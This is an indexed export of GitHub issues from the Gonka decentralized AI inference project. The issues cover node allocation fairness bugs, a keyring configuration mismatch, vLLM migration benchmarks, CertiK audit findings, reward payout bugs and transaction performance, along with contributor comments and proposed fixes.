"}, {"location": "community/issues/00669-increase-artifact-storage-throughput/", "title": "#669 — Increase artifact storage throughput", "text": "Increase artifact storage throughput #669 Closed @IgnatovFedor opened 2026-01-30 06:56 UTC 1 comment Updated 2026-02-06 17:33 UTC"}, {"location": "community/issues/00669-increase-artifact-storage-throughput/#666", "title": "666", "text": ""}, {"location": "community/issues/00669-increase-artifact-storage-throughput/#comments-1", "title": "💬 Comments (1)", "text": "@DimaOrekhovPS commented 2026-02-06 17:33 UTC@IgnatovFedor @tcharchian Do we want to create a different issue for further improving the storage throughput?
🔄 Auto-synced from Issue #669 every hour.
"}, {"location": "community/issues/00672-grpc-always-falls-back-to-rpc/", "title": "#672 — gRPC always falls back to RPC", "text": "gRPC always falls back to RPC #672 Open @x0152 opened 2026-01-30 16:21 UTC 2 comments Updated 2026-02-12 15:26 UTCgRPC is enabled, but requests still use RPC (#685 )
"}, {"location": "community/issues/00672-grpc-always-falls-back-to-rpc/#comments-2", "title": "💬 Comments (2)", "text": "@AlexeySamosadov commented 2026-02-08 14:13 UTCPR created: https://github.com/gonka-ai/gonka/pull/694
Enables gRPC for chain queries instead of RPC fallback.
@AlexeySamosadov commented 2026-02-12 15:26 UTCI have a PR for this: #694 — adds optional gRPC transport for chain queries. Would appreciate a review when you get a chance.
🔄 Auto-synced from Issue #672 every hour.
"}, {"location": "community/issues/00696-normalize-poc-weight-on-poc-phase-time/", "title": "#696 — Normalize POC weight on POC phase time", "text": "Normalize POC weight on POC phase time #696 Closed @tcharchian opened 2026-02-03 23:29 UTC 0 comments Updated 2026-02-10 22:43 UTC(empty)
🔄 Auto-synced from Issue #696 every hour.
"}, {"location": "community/issues/00700-alphabetical-bias-in-poc-slot-allocation/", "title": "#700 — Alphabetical Bias in PoC Slot Allocation", "text": "Alphabetical Bias in PoC Slot Allocation #700 Open @huxuxuya opened 2026-02-04 12:02 UTC 3 comments Updated 2026-03-03 23:44 UTC"}, {"location": "community/issues/00700-alphabetical-bias-in-poc-slot-allocation/#description", "title": "Description", "text": "The current implementation of the ML node allocation logic in x/inference/module/model_assignment.go contains an alphabetical bias that affects the fairness of the network.
Alphabetical Bias: The allocation algorithm iterates through participants in deterministic alphabetical order. This allows participants with \"vanity addresses\" (lexicographical prefixes like gonka1aaa...) to have a significantly higher probability of receiving PoC slots, potentially starving honest participants with random addresses.
"}, {"location": "community/issues/00700-alphabetical-bias-in-poc-slot-allocation/#impact", "title": "Impact", "text": "Economic Injustice: Participants are incentivized to mine vanity addresses rather than focus on hardware quality/uptime to increase their selection chances. Starvation: Honest hardware providers with random addresses receive fewer opportunities despite having equal or higher eligibility.
"}, {"location": "community/issues/00700-alphabetical-bias-in-poc-slot-allocation/#proposed-solution", "title": "Proposed Solution", "text": "Deterministic Shuffle: Implement a pseudo-random shuffle of the participant list using SHA256(EpochIndex + ModelID) as a seed. This ensures fair rotation across epochs and models, providing equal opportunity to all eligible participants regardless of their address prefix.
"}, {"location": "community/issues/00700-alphabetical-bias-in-poc-slot-allocation/#comments-3", "title": "💬 Comments (3)", "text": "@AlexeySamosadov commented 2026-02-18 10:47 UTCFix submitted in PR #777 — adds a deterministic SHA256-seeded Fisher-Yates shuffle to allocateMLNodePerPoCForModel, following the same pattern already used in sampleEligibleParticipantsWithHistory. All 27 tests pass.
Assign to me plz. Task already done.
701 @tcharchian commented 2026-03-03 23:44 UTC@akup, I believe you worked on PoC Slot attack. Do you want to review these issues and PRs? Thanks
🔄 Auto-synced from Issue #700 every hour.
"}, {"location": "community/issues/00706-inference-slot-hogging/", "title": "#706 — Inference Slot Hogging", "text": "Inference Slot Hogging #706 Open @huxuxuya opened 2026-02-05 18:52 UTC 4 comments Updated 2026-03-02 12:27 UTCVulnerability: Inference Slot Hogging Severity: Medium Component: model_assignment.go
"}, {"location": "community/issues/00706-inference-slot-hogging/#description", "title": "Description", "text": "The system always picks the node with the smallest weight for the \"safe\" inference slot. If a validator has multiple nodes, the same small node will keep getting the safe slot every single epoch, avoiding PoC verification indefinitely.
"}, {"location": "community/issues/00706-inference-slot-hogging/#the-problem", "title": "The Problem", "text": "Verification Avoidance: The smallest node is never checked because it stays in the safe slot. Guaranteed Rewards: This node earns rewards every epoch without risk, while the other nodes of the same validator are always forced to undergo PoC checks.
"}, {"location": "community/issues/00706-inference-slot-hogging/#example", "title": "Example", "text": "Validator has: Node A (weight 10) and Node B (weight 20).
Epoch 1: Node A is smallest -> Safe Slot. Epoch 2: Node A is smallest -> Safe Slot. Result: Node A never performs PoC, but always gets paid.
"}, {"location": "community/issues/00706-inference-slot-hogging/#fix", "title": "Fix", "text": "A mandatory rotation. If a node was in the safe slot in the previous epoch, it is moved to the end of the queue for the next epoch. This forces the validator's other nodes to take turns in the safe slot and undergo verification.
"}, {"location": "community/issues/00706-inference-slot-hogging/#comments-4", "title": "💬 Comments (4)", "text": "@AlexeySamosadov commented 2026-02-08 14:13 UTCPR created: https://github.com/gonka-ai/gonka/pull/718
Implements rotation logic to prevent the same node from always getting the safe inference slot.
@AlexeySamosadov commented 2026-02-12 15:26 UTCI have a PR for this: #718 — implements deterministic rotation for PoC slot allocation to prevent hogging. Would appreciate a review when you get a chance.
@huxuxuya commented 2026-02-24 19:31 UTCThis task was created in parallel with this PR #707
@huxuxuya commented 2026-03-02 12:27 UTCAssign to me plz. Task already done.
707🔄 Auto-synced from Issue #706 every hour.
"}, {"location": "community/issues/00714-bug-report-new-nodes-fail-to-sign-transactions-keyring-backe/", "title": "#714 — Bug Report: New Nodes Fail to Sign Transactions (Keyring Backend Mismatch)", "text": "Bug Report: New Nodes Fail to Sign Transactions (Keyring Backend Mismatch) #714 Closed @moro3one opened 2026-02-07 08:47 UTC 4 comments Updated 2026-02-10 00:33 UTC(empty)
"}, {"location": "community/issues/00714-bug-report-new-nodes-fail-to-sign-transactions-keyring-backe/#comments-4", "title": "💬 Comments (4)", "text": "@moro3one commented 2026-02-07 08:52 UTCBug report: New nodes fail to sign transactions due to Keyring Backend mismatch in Docker config. Fix included in description.
@moro3one commented 2026-02-07 08:58 UTCFULL BUG REPORT: Severity: High Environment: Mainnet / Docker Compose
Summary: The current Docker deployment setup for new join nodes fails to initialize the api service correctly due to a configuration mismatch in how KEYRING_BACKEND is handled. The init-docker.sh entrypoint fails to source config.env variables because of export prefixes, causing the api container to default to keyring-backend=file. However, the onboarding process generates keys using keyring-backend=test.
This results in the api service being unable to find the operator's private key, leading to a loop of 'account does not exist' errors. The node appears 'Active' in the explorer
@gmorgachev commented 2026-02-07 21:18 UTCCurrent onboarding pipeline uses manually creating warm key with file keyring backend: https://gonka.ai/host/quickstart/#31-server-create-ml-operational-key
Explicitly suggest:
printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | inferenced keys add \"$KEY_NAME\" --keyring-backend file\nexport prefixes work with current onboarding pipeline as it uses explicit loading of environment variables via:
source config.env\nHowever, the onboarding process generates keys using keyring-backend=test
Are you refering to?
if [ \"${CREATE_KEY:-false}\" = \"true\" ]; then\n echo \"Creating account key: $KEY_NAME\"\n\n if command -v inferenced >/dev/null 2>&1; then\n APP_NAME=\"inferenced\"\n else\n APP_NAME=\"decentralized-api\"\n fi\n\n $APP_NAME keys add \"$KEY_NAME\" \\\n --keyring-backend test \\\n --keyring-dir /root/.inference\n\n ACCOUNT_PUBKEY=$($APP_NAME keys show \"$KEY_NAME\" --pubkey --keyring-backend test --keyring-dir /root/.inference | jq -r '.key')\n export ACCOUNT_PUBKEY\n echo \"Generated ACCOUNT_PUBKEY: $ACCOUNT_PUBKEY\"\nfi\nThat part is used only during automatic testing in local testnet and is not used in onboarding pipeline
If i'm not missing smth, the source config.env step was skipped which caused unexpected behaviour.
PR created: https://github.com/gonka-ai/gonka/pull/715
Fixes keyring backend mismatch for new join nodes.
🔄 Auto-synced from Issue #714 every hour.
"}, {"location": "community/issues/00728-p0-multimodel-support/", "title": "#728 — [P0] Multimodel support", "text": "[P0] Multimodel support #728 Closed @tcharchian opened 2026-02-11 00:43 UTC 1 comment Updated 2026-04-16 13:55 UTC Priority: HighA detailed description will be provided by @gmorgachev later on. https://github.com/gonka-ai/gonka/tree/gm/multi-models/proposals/multi-model-poc
"}, {"location": "community/issues/00728-p0-multimodel-support/#comments-1", "title": "💬 Comments (1)", "text": "@gmorgachev commented 2026-03-05 17:47 UTC@tcharchian let's move to 0.2.12
🔄 Auto-synced from Issue #728 every hour.
"}, {"location": "community/issues/00729-off-chain-inference-transaction-primitives-experimental/", "title": "#729 — Off-chain inference transaction primitives (experimental)", "text": "Off-chain inference transaction primitives (experimental) #729 Closed @tcharchian opened 2026-02-11 00:48 UTC 0 comments Updated 2026-03-18 19:48 UTC(empty)
🔄 Auto-synced from Issue #729 every hour.
"}, {"location": "community/issues/00730-p0-vllm-0151-compatibility-experiments/", "title": "#730 — [P0] vLLM 0.15.1 Compatibility Experiments", "text": "[P0] vLLM 0.15.1 Compatibility Experiments #730 Closed @tcharchian opened 2026-02-11 01:26 UTC 2 comments Updated 2026-03-24 00:15 UTC(empty)
"}, {"location": "community/issues/00730-p0-vllm-0151-compatibility-experiments/#comments-2", "title": "💬 Comments (2)SummaryBenchmark ResultsCross-GPU PoC ValidationPer-GPU ExperimentsArtifactsParticipants", "text": "@tamazgadaev commented 2026-03-03 03:04 UTCPoC and inference (tentatively) seem compatible, in the next 2 days we'll try to deploy 2 nodes with 15 version and know for sute about the comaptibility
@baychak commented 2026-03-17 19:15 UTC ML Node Migration to vLLM 0.15.1 — Results and ArtifactsThe kaitaku.ai team together with Tamaz Gadaev completed the migration of ML Node from vLLM 0.9.1 to 0.15.1 for the Gonka network, including:
Legend: A — TP=4 --enforce-eager · B — TP=4 compiled · C — TP=4 batched compiled · D — TP=4 batched --enforce-eager · E — TP=2;PP=2 batched --enforce-eager · F — PP=4 batched --enforce-eager
Key takeaway:
All GPU pairs show close distances, meaning PoC validation passes successfully across all architectures within the single image.
Cross-version/cross-GPU experiments (6 experiments) | # | GPU Honest | Version | Model | GPU Fraud | Fraud Version | Fraud Model | GPU Validator | Validator Version | Validator Model | Artifacts | |---|------------|---------|-------|-----------|---------------|-------------|---------------|-------------------|-----------------|-----------| | 1 | A800 | v0.9.1 | Qwen FP8 | RTX 6000 | v0.15.1 | Qwen INT4 | RTX 6000 | v0.15.1 | Qwen FP8 | [artifacts](https://drive.google.com/drive/folders/1ZoNHlDW4zOjMDyMHtbkVychlIBwc_JOA?usp=sharing) | | 2 | A800 | v0.15.1 | Qwen FP8 | RTX 6000 | v0.15.1 | Qwen INT4 | RTX 6000 | v0.15.1 | Qwen FP8 | [artifacts](https://drive.google.com/drive/folders/1ZoNHlDW4zOjMDyMHtbkVychlIBwc_JOA?usp=sharing) | | 3 | A800 | v0.15.1 | Kimi INT4 | RTX 6000 | v0.15.1 | Kimi INT4 | RTX 6000 | v0.15.1 | Kimi INT4 | [artifacts](https://drive.google.com/drive/folders/1wGgZieGdKzBQHwOK8gYEpIYBwAR8BZ8z?usp=sharing) | | 4 | A800 | v0.15.1 | Kimi INT4 | RTX 6000 | v0.15.1 | Kimi INT2 | RTX 6000 | v0.15.1 | Kimi INT4 | [artifacts](https://drive.google.com/drive/folders/1wGgZieGdKzBQHwOK8gYEpIYBwAR8BZ8z?usp=sharing) | | 5 | A800 | v0.15.1 | GPT-OSS INT4 | RTX 6000 | v0.15.1 | GPT-OSS INT2 | RTX 6000 | v0.15.1 | GPT-OSS INT4 | [artifacts](https://drive.google.com/drive/folders/1GdoMrwkcMu5kMxVb848TIgDuL6-hHEd1?usp=sharing) | | 6 | A800 | v0.15.1 | GPT-OSS INT4 | RTX 6000 | v0.15.1 | GPT-OSS INT4 | RTX 6000 | v0.15.1 | GPT-OSS INT4 | [artifacts](https://drive.google.com/drive/folders/1GdoMrwkcMu5kMxVb848TIgDuL6-hHEd1?usp=sharing) | Full experiment table (16 experiments) | # | GPU | Version | Model | Nonces/min | 8×GPU | TP | PoC Vectors | Docker run | |--:|-----|---------|-------|-----------:|------:|---:|-------------|------------| | 1 | A800 NVLink | v0.9.1 | Qwen FP8 | 480 | 960 | 4 | [vectors](https://drive.google.com/file/d/1lMMZpa02lj0mHXYuoDkvzzeTz0clVEzo/view?usp=sharing) | [command](https://drive.google.com/file/d/1XZG6yL3IW-mlFxKDhWhfB6A4RrWe5Hag/view?usp=sharing) | | 2 | A800 NVLink | v0.15.1 | Qwen FP8 | 512 | 1 024 | 4 | [vectors](https://drive.google.com/file/d/1M-US9sxPa_f8DlBvxLxHEWgDOU-CdZQZ/view?usp=sharing) | [command](https://drive.google.com/file/d/1XZG6yL3IW-mlFxKDhWhfB6A4RrWe5Hag/view?usp=sharing) | | 3 | A800 NVLink | v0.9.1 | Qwen INT4 | 512 | 1 024 | 4 | [vectors](https://drive.google.com/file/d/1Wbwrwm2J4PsR8HhLafw53MfU125UCyY2/view?usp=sharing) | [command](https://drive.google.com/file/d/1XZG6yL3IW-mlFxKDhWhfB6A4RrWe5Hag/view?usp=sharing) | | 4 | A800 NVLink | v0.15.1 | Qwen INT4 | 512 | 1 024 | 4 | [vectors](https://drive.google.com/file/d/1x3RcVJJbYiGk6ayLuOCc4w93A9QGGFOo/view?usp=sharing) | [command](https://drive.google.com/file/d/1XZG6yL3IW-mlFxKDhWhfB6A4RrWe5Hag/view?usp=sharing) | | 5 | RTX 6000 | v0.9.1 | Qwen FP8 | 416 | 832 | 4 | [vectors](https://drive.google.com/file/d/17sYIXIFa8Ex9iMp14A9sgqWHmcUpBoyI/view?usp=sharing) | [command](https://drive.google.com/file/d/1XZG6yL3IW-mlFxKDhWhfB6A4RrWe5Hag/view?usp=sharing) | | 6 | RTX 6000 | v0.15.1 | Qwen FP8 | 451 | 902 | 4 | [vectors](https://drive.google.com/file/d/1k6VgdvdYuvQONi-YRpA5pJ2QFn6OUkjS/view?usp=sharing) | [command](https://drive.google.com/file/d/1XZG6yL3IW-mlFxKDhWhfB6A4RrWe5Hag/view?usp=sharing) | | 7 | RTX 6000 | v0.9.1 | Qwen INT4 | ? | — | 4 | [vectors](https://drive.google.com/file/d/12VXHKTYLzhvxhK0K71puJnLwe4zd64RX/view?usp=sharing) | [command](https://drive.google.com/file/d/1XZG6yL3IW-mlFxKDhWhfB6A4RrWe5Hag/view?usp=sharing) | | 8 | RTX 6000 | v0.15.1 | Qwen INT4 | 400 | 800 | 4 | [vectors](https://drive.google.com/file/d/1RLDuWzqvqkwoQaHXwu3nw9uES7mNXjpo/view?usp=sharing) | [command](https://drive.google.com/file/d/1XZG6yL3IW-mlFxKDhWhfB6A4RrWe5Hag/view?usp=sharing) | | 9 | A800 NVLink | v0.15.1 | Kimi K2.5 INT4 | 349 | 349 | 8 | [vectors](https://drive.google.com/file/d/155zGRY2HH6bptw8lc85bKOowN-bvbGZA/view?usp=sharing) | [command](https://drive.google.com/file/d/1Iyk1ae_z5d9hYgXxrGBzQdyVqOsDWTbz/view?usp=sharing) | | 10 | A800 NVLink | v0.15.1 | Kimi K2.5 INT2 | 417 | 417 | 8 | [vectors](https://drive.google.com/file/d/1U20bobTBSK3gyEIGS4HNp_6SOJDfARE6/view?usp=sharing) | [command](https://drive.google.com/file/d/1Iyk1ae_z5d9hYgXxrGBzQdyVqOsDWTbz/view?usp=sharing) | | 11 | RTX 6000 | v0.15.1 | Kimi K2.5 INT4 | 258 | 258 | 8 | [vectors](https://drive.google.com/file/d/1Dq1_5gVmv0a5kp7qkY9tR2tQrBHOVlct/view?usp=sharing) | [command](https://drive.google.com/file/d/1Iyk1ae_z5d9hYgXxrGBzQdyVqOsDWTbz/view?usp=sharing) | | 12 | RTX 6000 | v0.15.1 | Kimi K2.5 INT2 | 288 | 288 | 8 | [vectors](https://drive.google.com/file/d/1HeludcbAP0TCQXDnSGLAdaBH8BHl8TnK/view?usp=sharing) | [command](https://drive.google.com/file/d/1Iyk1ae_z5d9hYgXxrGBzQdyVqOsDWTbz/view?usp=sharing) | | 13 | A800 | v0.15.1 | GPT-OSS MXFP4 | 472 | 3 776 | 1 | [vectors](https://drive.google.com/file/d/1SSTz_m58aMcvyr07D75bvOVnwddlgjzd/view?usp=sharing) | [command](https://drive.google.com/file/d/1pw-7JKQ_DZUcaenoo0E04XXzfkAytM59/view?usp=sharing) | | 14 | A800 | v0.15.1 | GPT-OSS INT2 | 472 | 3 776 | 1 | [vectors](https://drive.google.com/file/d/1pq4pLHS2fPyf5IKD_e7uZF5oYMsYFkJq/view?usp=sharing) | [command](https://drive.google.com/file/d/1pw-7JKQ_DZUcaenoo0E04XXzfkAytM59/view?usp=sharing) | | 15 | RTX 6000 | v0.15.1 | GPT-OSS MXFP4 | 833 | 6 664 | 1 | [vectors](https://drive.google.com/file/d/1FQksG3gCqNhOGdjM9Q44zb_rlR8T4IT9/view?usp=sharing) | [command](https://drive.google.com/file/d/1pw-7JKQ_DZUcaenoo0E04XXzfkAytM59/view?usp=sharing) | | 16 | RTX 6000 | v0.15.1 | GPT-OSS INT2 | 833 | 6 664 | 1 | [vectors](https://drive.google.com/file/d/1uXFKZLUwG2Us82vluLCXTsbsytcJEz3i/view?usp=sharing) | [command](https://drive.google.com/file/d/1pw-7JKQ_DZUcaenoo0E04XXzfkAytM59/view?usp=sharing) | Resource Link Main vLLM 0.15.1 + PoC test branch mb/poc-v015-no-dummy-input-ids Test Docker imageghcr.io/kaitakuai/mlnode:v0.15.1-no-dummy-input-ids All test images GitHub Packages Benchmark spreadsheet Google Sheets Participant GitHub Contribution Pavlo @clanster GPU testing, benchmark and artifact collection, visualization Mykola Baichak @baychak Image builds, benchmarks, batching fixes, and torch.compile fixes Tamaz Gadaev @tamazgadaev PoC architecture, review, and fixes on the Gonka core team side 🔄 Auto-synced from Issue #730 every hour.
"}, {"location": "community/issues/00731-define-changes-in-the-api-container-for-smooth-migration/", "title": "#731 — Define changes in the API container for smooth migration", "text": "Define changes in the API container for smooth migration #731 Closed @tcharchian opened 2026-02-11 01:28 UTC 3 comments Updated 2026-03-11 19:54 UTC(empty)
"}, {"location": "community/issues/00731-define-changes-in-the-api-container-for-smooth-migration/#comments-3", "title": "💬 Comments (3)", "text": "@tamazgadaev commented 2026-03-02 01:18 UTCActually, we don't strictly need any of these 3 for smooth migration. 1 is desirable, 2 nice to have (and we'll get the threshold values), 3 is not needed
@gmorgachev commented 2026-03-11 19:54 UTCi think we need to close this one. fix 400/422 is independent bug to fix
🔄 Auto-synced from Issue #731 every hour.
"}, {"location": "community/issues/00742-p2-deleting-poc-v1-extend-state-endpoint-with-poc-metadata/", "title": "#742 — [P2] Deleting PoC v1 + Extend state endpoint with PoC metadata", "text": "[P2] Deleting PoC v1 + Extend state endpoint with PoC metadata #742 Closed @IgnatovFedor opened 2026-02-12 15:06 UTC 0 comments Updated 2026-03-25 19:10 UTC Priority: LowWe want the main state endpoint to also expose PoC-related information required by the next vLLM PoC, so that vLLM can rely on a single source of truth. Also poc v1 should be removed.
🔄 Auto-synced from Issue #742 every hour.
"}, {"location": "community/issues/00744-p1-dont-require-developers-to-register-as-participants-to-ru/", "title": "#744 — [P1] Don’t require developers to register as Participants to run inference", "text": "[P1] Don’t require developers to register as Participants to run inference #744 Closed @tcharchian opened 2026-02-13 01:16 UTC 4 comments Updated 2026-03-30 23:52 UTCCurrently, the chain requires a Participant record not only to host, but also to send inference requests. There is no real reason for this, since the public key is available in the Account record after the first on-chain transaction signed by that account is executed. That should be sufficient.
/v1/participants/gonka... to query Participant data, not just the Account (as it does now).@x0152, would you like to work on this issue?
@x0152 commented 2026-02-13 06:15 UTCI'll take it
@gmorgachev commented 2026-03-11 20:03 UTC@tcharchian the PR itself is marked for milestone 0.2.11. what is valid?
@tcharchian commented 2026-03-11 20:23 UTC@tcharchian the PR itself is marked for milestone 0.2.11. what is valid?
Per @patimen, let's move it to v0.2.12. https://github.com/gonka-ai/gonka/pull/750#issuecomment-3938311002 cc: @x0152
🔄 Auto-synced from Issue #744 every hour.
"}, {"location": "community/issues/00746-vested-payouts-in-xinference-ignore-caller-funding-module-an/", "title": "#746 — Vested payouts in x/inference ignore caller funding module and always debit inference account", "text": "Vested payouts in x/inference ignore caller funding module and always debit inference account #746 Closed @Schwartz10 opened 2026-02-13 06:15 UTC 2 comments Updated 2026-06-04 21:44 UTC"}, {"location": "community/issues/00746-vested-payouts-in-xinference-ignore-caller-funding-module-an/#summary", "title": "Summary", "text": "PayParticipantFromModule in x/inference hardcodes types.ModuleName (inference) when calling streamvesting.AddVestedRewards, instead of forwarding the caller-provided moduleName.
inference-chain/x/inference/keeper/payment_handler.goWhen vesting is enabled, payouts should debit the same funding module passed to PayParticipantFromModule.
The vested path always debits inference.
top_reward) can debit the wrong module account.inference.Call: PayParticipantFromModule(..., moduleName=types.TopRewardPoolAccName, vestingPeriods>0) and assert AddVestedRewards(..., types.TopRewardPoolAccName, ...). Before fix it receives types.ModuleName instead.
In vested path: AddVestedRewards(..., moduleName, ...) instead of: AddVestedRewards(..., types.ModuleName, ...).
PR with fix: #770 — forwards the caller-provided module name in vested payouts instead of hardcoding \"inference\".
@tcharchian commented 2026-02-19 00:32 UTC@Schwartz10, have you noticed that the top reward module is not used?
🔄 Auto-synced from Issue #746 every hour.
"}, {"location": "community/issues/00753-p1-certik-ethereum-bridge-preliminary-report-v1-severity-dis/", "title": "#753 — [P1] Certik, Ethereum Bridge, Preliminary Report (v1), Severity: Discussion [Priority 1]", "text": "[P1] Certik, Ethereum Bridge, Preliminary Report (v1), Severity: Discussion [Priority 1] #753 Closed @tcharchian opened 2026-02-14 00:23 UTC 0 comments Updated 2026-04-11 04:21 UTC Priority: Highwrapped-token ContractUpdateMetadata that Modifies Decimals🔄 Auto-synced from Issue #753 every hour.
"}, {"location": "community/issues/00754-p1-certik-ethereum-bridge-preliminary-report-v1-severity-cen/", "title": "#754 — [P1] Certik, Ethereum Bridge, Preliminary Report (v1), Severity: Centralization [Priority 2]", "text": "[P1] Certik, Ethereum Bridge, Preliminary Report (v1), Severity: Centralization [Priority 2] #754 Closed @tcharchian opened 2026-02-14 00:27 UTC 0 comments Updated 2026-04-09 23:22 UTC Priority: High🔄 Auto-synced from Issue #754 every hour.
"}, {"location": "community/issues/00755-p1-certik-ethereum-bridge-preliminary-report-v1-severity-maj/", "title": "#755 — [P1] Certik, Ethereum Bridge, Preliminary Report (v1), Severity: Major [Priority 3]", "text": "[P1] Certik, Ethereum Bridge, Preliminary Report (v1), Severity: Major [Priority 3] #755 Closed @tcharchian opened 2026-02-14 00:29 UTC 0 comments Updated 2026-04-09 23:23 UTC Priority: High🔄 Auto-synced from Issue #755 every hour.
"}, {"location": "community/issues/00756-p1-certik-ethereum-bridge-preliminary-report-v1-severity-med/", "title": "#756 — [P1] Certik, Ethereum Bridge, Preliminary Report (v1), Severity: Medium [Priority 4]", "text": "[P1] Certik, Ethereum Bridge, Preliminary Report (v1), Severity: Medium [Priority 4] #756 Closed @tcharchian opened 2026-02-14 00:32 UTC 1 comment Updated 2026-04-09 23:23 UTC Priority: HighcheckThresholdAndAggregate() - #822 community-sale Contract - https://github.com/gonka-ai/gonka/pull/814ValidDealers - #988 MigrateAllWrappedTokenContracts() - https://github.com/gonka-ai/gonka/pull/814GEB-05, GEB-15, GEB-36
https://github.com/gonka-ai/gonka/pull/814
🔄 Auto-synced from Issue #756 every hour.
"}, {"location": "community/issues/00757-p1-certik-ethereum-bridge-preliminary-report-v1-severity-min/", "title": "#757 — [P1] Certik, Ethereum Bridge, Preliminary Report (v1), Severity: Minor [Priority 5]", "text": "[P1] Certik, Ethereum Bridge, Preliminary Report (v1), Severity: Minor [Priority 5] #757 Closed @tcharchian opened 2026-02-14 00:39 UTC 0 comments Updated 2026-04-09 23:23 UTC Priority: Highwithdraw() in wrapped-token Contract - https://github.com/gonka-ai/gonka/pull/814ADMIN Role Cannot Not Be Updated https://github.com/gonka-ai/gonka/pull/949community‑sale Lacks Compatibility Checks and State Validation - https://github.com/gonka-ai/gonka/pull/814logging.Debug - #822 evaluatePolynomial() https://github.com/gonka-ai/gonka/pull/949amountToBytes32() Panic on Oversized Amounts https://github.com/gonka-ai/gonka/pull/949MsgRequestThresholdSignature.ValidateBasic() for chain_id/request_id and Data Chunk Sizes - #822 MsgSubmitDealerPart.ValidateBasic() - #822 MsgSubmitGroupKeyValidationSignature.ValidateBasic() - #822 MsgSubmitPartialSignature.ValidateBasic() - #822 DealerValidity in Verification Vector Submissions of MsgSubmitVerificationVector.ValidateBasic() - #822 msg.Amount Being Positive in MsgRequestBridgeWithdrawal - https://github.com/gonka-ai/gonka/pull/814EmitTypedEvent() https://github.com/gonka-ai/gonka/pull/949parseEpochDataFromJSON() https://github.com/gonka-ai/gonka/pull/949RequestThresholdSignature() https://github.com/gonka-ai/gonka/pull/949🔄 Auto-synced from Issue #757 every hour.
"}, {"location": "community/issues/00758-p1-certik-ethereum-bridge-preliminary-report-v1-severity-inf/", "title": "#758 — [P1] Certik, Ethereum Bridge, Preliminary Report (v1), Severity: Informational [Priority 6]", "text": "[P1] Certik, Ethereum Bridge, Preliminary Report (v1), Severity: Informational [Priority 6] #758 Closed @tcharchian opened 2026-02-14 00:41 UTC 0 comments Updated 2026-04-09 23:23 UTC Priority: MediumInstantiateMsg.marketing Is Ignored - https://github.com/gonka-ai/gonka/pull/814computeParticipantPublicKey() in bls_crypto.go https://github.com/gonka-ai/gonka/pull/949ProcessThresholdSigningRequested() Incorrectly Returns Error https://github.com/gonka-ai/gonka/pull/949🔄 Auto-synced from Issue #758 every hour.
"}, {"location": "community/issues/00764-epoch-158-reward-underpayment-after-v029-preserved-inference/", "title": "#764 — Epoch 158 reward underpayment after v0.2.9: preserved inference-slot weight was reset", "text": "Epoch 158 reward underpayment after v0.2.9: preserved inference-slot weight was reset #764 Closed @huxuxuya opened 2026-02-14 16:52 UTC 1 comment Updated 2026-02-17 22:46 UTCAfter upgrade v0.2.9, part of epoch 158 rewards appears to be distributed incorrectly. Validators that had ML nodes in preserved inference slot (POC_SLOT, TimeslotAllocation[1]) were not paid.
Suspected root cause: - upgrade migration reset TimeslotAllocation[1] for effective-epoch data; - reward settlement uses preserved weight from this slot (effectiveWeight = preservedWeight + confirmationWeight); - as a result, preserved weight was reduced to zero for affected participants during settlement.
Impact: - epoch 158 reward shares are skewed; - validators with significant preserved/inference-slot weight are affected most.
Requested actions:
PR with fix: #771 — removes resetPocSlotsInEpochGroupData from v0.2.9 upgrade handler. This function reset TimeslotAllocation[1] in EpochGroupData which is read during reward settlement, zeroing preservedWeight for all validators in epoch 158.
Note: this is a forward-fix for chain replay correctness. Compensation for epoch 158 affected validators requires a separate governance proposal.
🔄 Auto-synced from Issue #764 every hour.
"}, {"location": "community/issues/00772-slashed-coins-should-not-be-burned/", "title": "#772 — Slashed coins should not be burned", "text": "Slashed coins should not be burned #772 Closed @tcharchian opened 2026-02-18 01:36 UTC 2 comments Updated 2026-03-12 18:09 UTCCurrently, slashed coins are burned. This behavior should be changed.
Instead of burning slashed funds, they must be redirected to the Governance module account, consistent with how we handle rewards that are withheld from miners during penalties.
Expected behavior:
@patimen
🔄 Auto-synced from Issue #772 every hour.
"}, {"location": "community/issues/00776-ha-infrastructure/", "title": "#776 — HA infrastructure", "text": "HA infrastructure #776 Closed @Laboltus opened 2026-02-18 09:41 UTC 1 comment Updated 2026-03-03 23:52 UTCI'm trying to figure out how to create a highly available node. My understanding at the time is following 1. Full-node can be started in multiple instances and we can use some LB for balance and failover 2. Validator - with tmkms we can have only one active validator to avoid double-sign. For multiple active validators we need to adapt horcrux 3. Decentralized API - There can only be one active instance, and we should use custom scripts to synchronize SQLite database from the active instance to the standby one.
Am I right ? Is there some guide on this that I missed ?
"}, {"location": "community/issues/00776-ha-infrastructure/#comments-1", "title": "💬 Comments (1)", "text": "@blizko commented 2026-03-03 08:44 UTCThis topic is raised as discussion https://github.com/gonka-ai/gonka/discussions/837
🔄 Auto-synced from Issue #776 every hour.
"}, {"location": "community/issues/00780-14-startinference-and-finishinference/", "title": "#780 — [1/4] `StartInference` and `FinishInference`", "text": "[1/4] `StartInference` and `FinishInference` #780 Closed @tcharchian opened 2026-02-20 22:20 UTC 10 comments Updated 2026-03-11 20:05 UTC help wanted up-for-grabs Priority: High requires own mainnet node"}, {"location": "community/issues/00780-14-startinference-and-finishinference/#background", "title": "Background", "text": "MsgStartInference and MsgFinishInference are too slow in production. Blocks should be processed by nodes within 1-2 seconds, so that block time stays below 6 seconds. This means that to process 1000 inferences in a block, we need to record 1000 MsgStartInference, 1000 MsgFinishInference, and 100-200 MsgValidation transactions. This means that these transactions should be processed faster than 1ms. Even though they are quite fast in tests, in production with a large state they require 10-20ms, and on some nodes 50ms or more.
There are 2 main areas identified that contribute most of the time to transactions: - Signatures validation (57% of FinishInference and 63% of StartInference) - Stats query and recording (40% of FinishInference and 30% of StartInference)
Download profiling file: https://drive.google.com/file/d/1yxY91lzMHxv_MeloAxW1zczcpbkBjZ0t/ And use command:
go tool pprof -http=:8080 /Users/davidliberman/Downloads/pprof.inferenced.samples.cpu.001.pb.gz\nScreen recoding: https://drive.google.com/file/d/1yxDaJllxCQ-l3ZO6ZuBb5bTEUgZ5t7Yu/view?usp=sharing
And choose flame graph to explore
Signature validation can be significantly optimized, reducing the number of signatures to be validated in most scenarios by 5x (from 5 signatures to just 1).
https://github.com/gonka-ai/gonka/issues/608 - which is now implemented by @DimaOrekhovPS
https://github.com/gonka-ai/gonka/pull/779
Stats query and recording is designed to make it easier to query usage statistics for inference operations by storing this data on a chain. However, it is too heavy for on-chain operations and should be removed. In the end, we shouldn't read and write any large state record in MsgStartInference, MsgFinishInference, or MsgValidation.
